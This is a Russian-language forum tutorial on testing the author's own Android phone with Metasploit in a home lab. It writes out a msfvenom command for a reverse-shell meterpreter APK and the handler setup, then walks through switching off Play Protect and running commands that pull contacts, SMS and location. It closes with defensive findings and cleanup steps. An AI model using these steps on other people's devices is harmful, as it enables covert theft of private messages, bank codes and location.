Статья Пентест Android-устройств с помощью Metasploit в 2026 году

Тестирование безопасности Android через Metasploit и meterpreter


Что вас ждёт в статье:

Введение

1. Как устроена безопасность Android

2. Установка и настройка Metasploit
2.1. Установка фреймворка
2.2. Первичный запуск программы

3. Разведка сети

4. Создаем бэкдор под Android и обходим защиту
4.1. Генерация APK через Msfvenom
4.2. Отражение перехвата системами защиты Android

5. Разбор доступных векторов пентест-атаки
5.1. Перехват управления и выгрузка данных
5.2. На что способна программа?
5.3. Столкновение с аппаратной защитой

6. Очистка систем и удаление артефактов атаки


Заключение
Дисклеймер
Данный материал носит исключительно учебно-исследовательский характер и предназначен для применения только на устройствах, находящихся в личной собственности читателя или переданных ему устройств с согласия владельца. Все действия направлены на изучение механизмов защиты операционной системы "Android" и не являются руководством к несанкционированному доступу. Автор не одобряет и предупреждает о том, что использование описываемого в статье программного обеспечения в противоправных целях влечёт уголовную ответственность по статьям 272, 272.1 и 273 УК РФ за неправомерное применение этого программного обеспечения.

Введение

Если вы читали учебники по кибербезопасности пятилетней давности, могло сложиться впечатление, что взломать телефон на Android — это дело пяти минут. Собрать скрытый файлик, скинуть жертве, и вот уже есть доступ к камере, СМС и микрофону.

На момент 2026-ого года же складывается впечатление, что лавочку прикрыли. Сегодня мобильные операционные системы стали гораздо безопаснее для пользователей, к тому же, помимо программной защиты широко распространились и аппаратные ограничители действий злоумышленников.

В этой статье мы пройдем весь путь исследователя безопасности: на домашнем ПК развернём Metasploit Framework, в качестве цели используем личный смартфон на Android для проверки поставленной гипотезы и выясним что реально в наше время может сделать хакер с мобильныым устройством и какие у него будут ограничения. В рамках статьи разберем каждый шаг, начиная с настройки софта и заканчивая полной зачисткой следов лаборатого стенда.

Посмотрим, как современные мобильные ОС защищают наши данные!

1. Как устроена безопасность Android

Прежде чем писать команды в Терминале, давайте разберемся с теорией.
Нам нужно понять, почему современный Android стал куда безопаснее, по сравнению с версиями 4.x или 5.x.

Сегодня его безопасность держится на нескольких мощных технологиях, которые работают одновременно:

1. Песочница для приложений.
В Android каждое приложение живет в своей собственной изолированной среде. На уровне системы каждой программе выдается свой уникальный номер-паспорт. Приложение «А» физически не может заглянуть в папку или оперативную память приложения «Б». Они полностью изолированы друг от друга.

2. Система SELinux.
Это внутренний жесткий надсмоторщик ядра Android. Даже если хакеру каким-то чудом удастся получить права суперпользователя, SELinux все равно заблокирует подозрительное действие, если оно не прописано в строгих системных правилах. Например, если программе запрещено трогать системные папки, она их не тронет, какие бы права у нее ни были.

3. Google Play Защита.
Это встроенный облачный антивирус. Если попытаетесь установить сторонний файл .apk, то Play Защита тут же разберет его по строчкам кода, проверит по базам данных и заблокирует, если найдет там знакомый вредоносный код.

4. Жесткий контроль фонового режима.
Это самый главный кошмар для создателей шпионских программ. Начиная с Android 9 и 10, система ввела жесткое правило: если приложение свернуто или экран телефона выключен, программа считается фоновой. А фоновым приложениям операционная система наглухо перекрывает доступ к камере, микрофону и GPS. Причем делает хитро, она не выдает ошибку, чтобы программа не догадалась об обмане, а просто подсовывает ей пустой черный экран вместо картинки с камеры и абсолютную тишину вместо звука с микрофона.

2. Установка и настройка Metasploit

Для проведения теста нам понадобится рабочая атакующая платформа, поэтому, сейчас мы настроим наш компьютер так, чтобы он мог ловить сигналы с телефона. Работать будем через дефолтный Терминал. Нам нужно сразу правильно настроить все пути и подключить базу данных, иначе при поиске хакерских модулей всё будет дико тормозить.

2.1. Установка фреймворка

Начнём дело со скачивания официального пакета Metasploit Framework с сайта Rapid7, благо сам процесс инсталляции проходит стандартно и не требует сложных настроек.

Примечание: Скачать можно с официального сайта по этой ссылке - Metasploit Download: Most Used Pen Testing Tool - Rapid7

2.2. Первичный запуск программы

Для первого старта мы запускаем фреймворк полным путем с помощью команды /opt/metasploit-framework/bin/msfconsole, которая сразу же активирует встроенный мастер первичной настройки. Программа выведет интерактивные вопросы прямо в консоли, где на предложение добавить утилиты в системные пути по умолчанию для настройки короткой команды PATH необходимо ответить yes. Это позволит в будущем не вводить каждый раз этот длинный путь, а запускать в одно слово, просто набрав msfconsole.

1788277171164.webp


Следом Терминал предложит автоматически поднять новую рекомендуемую базу данных, где мы тоже пишем yes, так как СУБД PostgreSQL критически важна для полноценной работы фреймворка. Скрипт сам создаст необходимые конфигурационные папки в нашей домашней директории по адресу .msf4/db и запустит специальный сокет. Без этой базы поиск по тысячам эксплойтов будет сильно тормозить, а с ней все данные обрабатываются быстро.
После завершения настройки проверяем статус подключения к базе данных командой: db_status

1788277243070.webp

На экране появляется подтверждение: Connected to msf. Connection type: postgresql. Наша атакующая платформа полностью готова.

3. Разведка сети

Каждый пентест начинается с разведки. Нельзя атаковать устройство, если мы даже не знаем, где оно находится в сети. Чтобы понять, как работают модули, проводим тест домашнего роутера на открытые порты. Выбираем встроенный сканер командой: use auxiliary/scanner/portscan/tcp

Теперь нам нужно понять, какие параметры требует этот модуль для работы, поэтому мы сразу прописываем команду: show options

1788277412634.webp

Перед нами разворачивается подробная таблица со списком всех опций модуля. Смотрим на таблицу и сразу видим две ключевые строчки:
- PORTS — порты, которые модуль будет проверять. По умолчанию здесь стоит гигантский диапазон 1-10000. Нам столько не нужно, мы сузим этот поиск.

- RHOSTS — это поле пока пустое. Сюда нам обязательно нужно вписать IP-адрес нашей цели, иначе сканер просто не поймет, к какому устройству в сети ему стучаться.

Чтобы лучше понимать сетевую логику, важно помнить, что любой открытый порт указывает на запущенную в системе программу, которая в этот момент слушает входящий трафик. Например, порты 80 и 443 являются стандартными входами для веб-сайтов или панелей управления, порт 21 отвечает за передачу файлов по протоколу FTP, а порты 22 и 23 служат для удаленного администрирования через текстовую консоль. При этом открытый 23-й порт считается критической уязвимостью, потому что старый протокол Telnet передает учетные данные в абсолютно открытом виде без какого-либо шифрования.

Поле RHOSTS необходимо настраивать внимательно, так как в локальных сетях адреса раздаются автоматически по протоколу DHCP и обычно идут по порядку. Если точный адрес смартфона в комнате неизвестен, мы можем указать целый диапазон, например, 192.168.0.1-254, и тогда Metasploit начнет сканирование, по очереди опрашивая каждое устройство в доме.

В настройках указываем IP-адрес своего роутера (set RHOSTS 192.168.0.1) и выбираем для проверки порт 80 (set PORTS 80). После запуска команды run сканер показывает, что порт 80 (HTTP) открыт. Это абсолютно нормально, так как через него работает домашняя админка роутера, но это наглядно показывает, как проводится первичная разведка сети.

1788277517568.webp

4. Создаем бэкдор под Android и обходим защиту


Теперь попробуем собрать тестовый исполняемый файл и закинуть его на смартфон, чтобы проверить реакцию мобильной системы безопасности. Наша цель на этом этапе, создать рабочую полезную нагрузку, которая сможет незаметно запуститься в системе и отправить обратный сигнал на компьютер. Для этого мы воспользуемся возможностями генератора пакетов, подставим свои сетевые настройки и посмотрим, как телефон встретит такое стороннее приложение.​

4.1. Генерация APK через Msfvenom

Для генерации контролируемого бэкдора мы временно выходим из консоли через exit и запускаем утилиту msfvenom, предварительно узнав свой локальный IP-адрес в комнате с помощью команды ipconfig getifaddr en0. Сборка тестового файла .apk выполняется специальной командой, где мы указываем тип полезной нагрузки для обратного подключения, наш сетевой адрес 192.168.0.127 и порт 4444:

Собираем файл .apk специальной командой:

/opt/metasploit-framework/bin/msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.127 LPORT=4444 AndroidMeterpreterDebug=true -o test_new.apk

1788277694378.webp


В этой строке мы обязательно используем флаг AndroidMeterpreterDebug=true, потому что без него утилита соберет пакет по старым шаблонам Java, а современная среда Android Runtime моментально заблокирует приложение из-за несоответствия правилам верификации байт-кода. После успешного создания файла в домашней папке мы перекидываем его любым удобным для нас способом на целевой смартфон для проведения теста.

4.2. Отражение перехвата системами защиты Android

При попытке установить полученный файл на телефон встроенный антивирус Google Play Защита моментально блокирует операцию, из-за чего приходится зайти в настройки профиля и временно отключить тумблеры сканирования периметра. Но даже после этого операционная система выдает новое предупреждение о том, что приложение разработано для более старой версии Android. Это стандартный механизм защиты от хакерских уловок, когда злоумышленники намеренно занижают версию системы в манифесте, чтобы обойти строгие правила выдачи прав, однако мы соглашаемся с рисками, завершаем установку и видим иконку под именем MainActivity.

1788277756865.webp

5. Разбор доступных векторов пентест-атаки


В этой главе мы на практике проверим возможности полезной нагрузки в условиях, когда пользователь совершил ошибку и одобрил запуск сторонней программы. Мы протестируем классические команды для пентеста, чтобы посмотреть, получится ли у бэкдора вытащить личную переписку, закрепиться внутри процессов или запустить скрытую слежку. Это поможет детально увидеть, в каких случаях операционная система выдает конфиденциальные данные, а где срабатывают встроенные аппаратные блоки приватности.

5.1. Перехват управления и выгрузка данных

Нам нужно запустить режим ожидания, чтобы принять сигнал от телефона. Для этого запускаем фреймворк полным путем /opt/metasploit-framework/bin/msfconsole.

Внутри консоли настраиваем параметры перехвата, последовательно вводя следующие команды:

1. use exploit/multi/handler — активируем универсальный обработчик подключений.
2. set payload android/meterpreter/reverse_tcp — указываем тип полезной нагрузки, который мы зашили в приложение.
3. set LHOST 192.168.0.127 — задаем локальный IP-адрес для приема обратного соединения.
4. exploit — запускаем режим ожидания на порту 4444.

1788277868811.webp


После нажатия на иконку приложения на смартфоне в Терминале сразу же отображается отправка пакетов на IP-адрес телефона 192.168.0.107. В этот момент брандмауэр компьютера запрашивает разрешение на входящую связь, и после подтверждения в консоли одна за другой открываются сессии под номерами 2, 3 и 4, поскольку код на мобильном устройстве часто срабатывает циклично. Затем мы вводим команду sysinfo и получаем подробный отчет о версии операционной системы Android 10, архитектуре процессора и системном языке, что подтверждает успешное открытие сессии управления.

1788277900072.webp

5.2. На что способна программа?

Тем не менее, пока приложение остается активным, мы успешно выполняем команды для проверки утечки данных:

dump_contacts — полностью скачиваем телефонную книгу в текстовый файл на компьютер. Там в ряд лежат все имена, фамилии и номера телефонов.

1788277936900.webp


1788277945061.webp


dump_sms — успешно выгружаем историю текстовых сообщений со смартфона в файл. Вся переписка, включая коды от банков и личные сообщения, скачивается на наш компьютер.

1788277962335.webp


1788277974373.webp

Даже без взлома ядра системы, используя простые доступы, шпионское ПО может украсть кучу важнейших личных данных, если пользователь сам разрешил установку и выдал права.

Раз уж у нас открыты сессии под номерами 2, 3 и 4, давайте разберем, какие еще команды есть в арсенале Meterpreter для работы с файлами и данными, если пользователь выдал нам стандартные разрешения. Помимо банального скачивания текстовых логов, хакер может использовать следующие инструменты:​
  • pwd и ls — эти команды позволяют нам ходить по внутренним папкам приложения и смотреть, какие файлы там лежат. Мы можем заглянуть в кэш программы или посмотреть сохраненные локальные настройки.​
  • download — если бэкдор находит в своей папке какой-то интересный файл (например, сохраненный лог или картинку), этой командой мы можем принудительно скачать его на свой компьютер.​
  • upload — работает в обратную сторону. Мы можем скрытно загрузить с компьютера в память телефона любой другой файл или дополнительный хакерский скрипт.​
  • geolocate — если у приложения есть доступ к службам геолокации, эта команда отправляет запрос к GPS-модулю телефона, собирает координаты и выдает хакеру ссылку на карту Google Maps с точным местоположением устройства прямо сейчас.​
Все эти команды выполняются без прав суперпользователя. Они работают исключительно потому, что контент-провайдеры Android послушно отдают информацию любому приложению, у которого в манифесте прописаны строчки READ_CONTACTS или READ_SMS, а пользователь при установке невнимательно нажал кнопку «Разрешить».

5.3. Столкновение с аппаратной защитой

Самым сложным этапом становится попытка включить живой стрим с камеры командой webcam_stream -i 2. На компьютере автоматически открывается страница в браузере, статус меняется на Waiting, но картинка так и не идет, выдавая ошибку stdapi_webcam_get_frame: Operation failed. Запись микрофона record_mic выдает файл с абсолютной тишиной.

Это показывает работу современных механизмов безопасности Android. Начиная с Android 9/10, операционная система аппаратно перекрывает доступ к камере и микрофону для любых приложений, находящихся в фоновом режиме или не имеющих активного Foreground-уведомления. Даже при выданных разрешениях ядро ОС просто подсовывает бэкдору пустые кадры и тишину для защиты конфиденциальности пользователя. Скрытно шпионить через камеру и микрофон в современном Android из фонового режима больше нельзя!

6. Очистка систем и удаление артефактов атаки

Чтобы на компьютерах и мобильных устройствах не осталось следов тестирования, скрытых фоновых процессов или уязвимостей, необходимо провести полную деинсталляцию по следующему алгоритму:

1. Очистка смартфона Android

Удаление приложения: Зайдите в Настройки => Приложения. Найдите наше тестовое приложение и нажмите «Удалить». Это сотрет сам исполняемый файл и все выданные ему доступы.

Также обязательно зайдите в приложение Google Play, нажмите на свой профиль => «Play Защита» => значок шестеренки вверху и включите обратно оба тумблера «Сканировать приложения» и «Помочь улучшить защиту». Это вернет телефон в безопасный режим и закроет брешь, которую мы открывали для теста.

2. Удаление конфиденциальных данных с компьютера

В процессе теста мы успешно выгрузили текстовые сообщения и контакты с телефона в домашнюю папку. Чтобы эти личные данные не оставались на компьютере в открытом виде:

Найдите созданные файлы логов (они начинаются со слова dump_... и имеют расширение .txt), а также аудиофайл sound.wav. Перенесите их в корзину и обязательно очистите ее.

Заключение​

Наш практический эксперимент показывает, что идея о легком взломе Android не состоятельна. Современная операционная система способна защитить пользователя, даже если он совершил ошибку, т.е. отключил антивирус и сам установил подозрительный файл.

Да, программа может вытащить те данные, к которым у нее есть легитимный доступ, если пользователь сам выдал эти права при установке. Но залезть в чужие процессы, захватить контроль над ядром системы или скрытно подглядывать через камеру в фоновом режиме ей не дает жесткая архитектура безопасности самой ОС.

Главным уязвимым местом остается сам человек. Системы стали настолько защищенными, что взломать их в лоб практически нереально. Именно поэтому исследователям сегодня нужно изучать не столько старые хакерские эксплойты, сколько методы социальной инженерии и логику работы самих мобильных приложений, ведь именно там чаще всего кроются реальные лазейки.

Удачи в тестировании!​
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab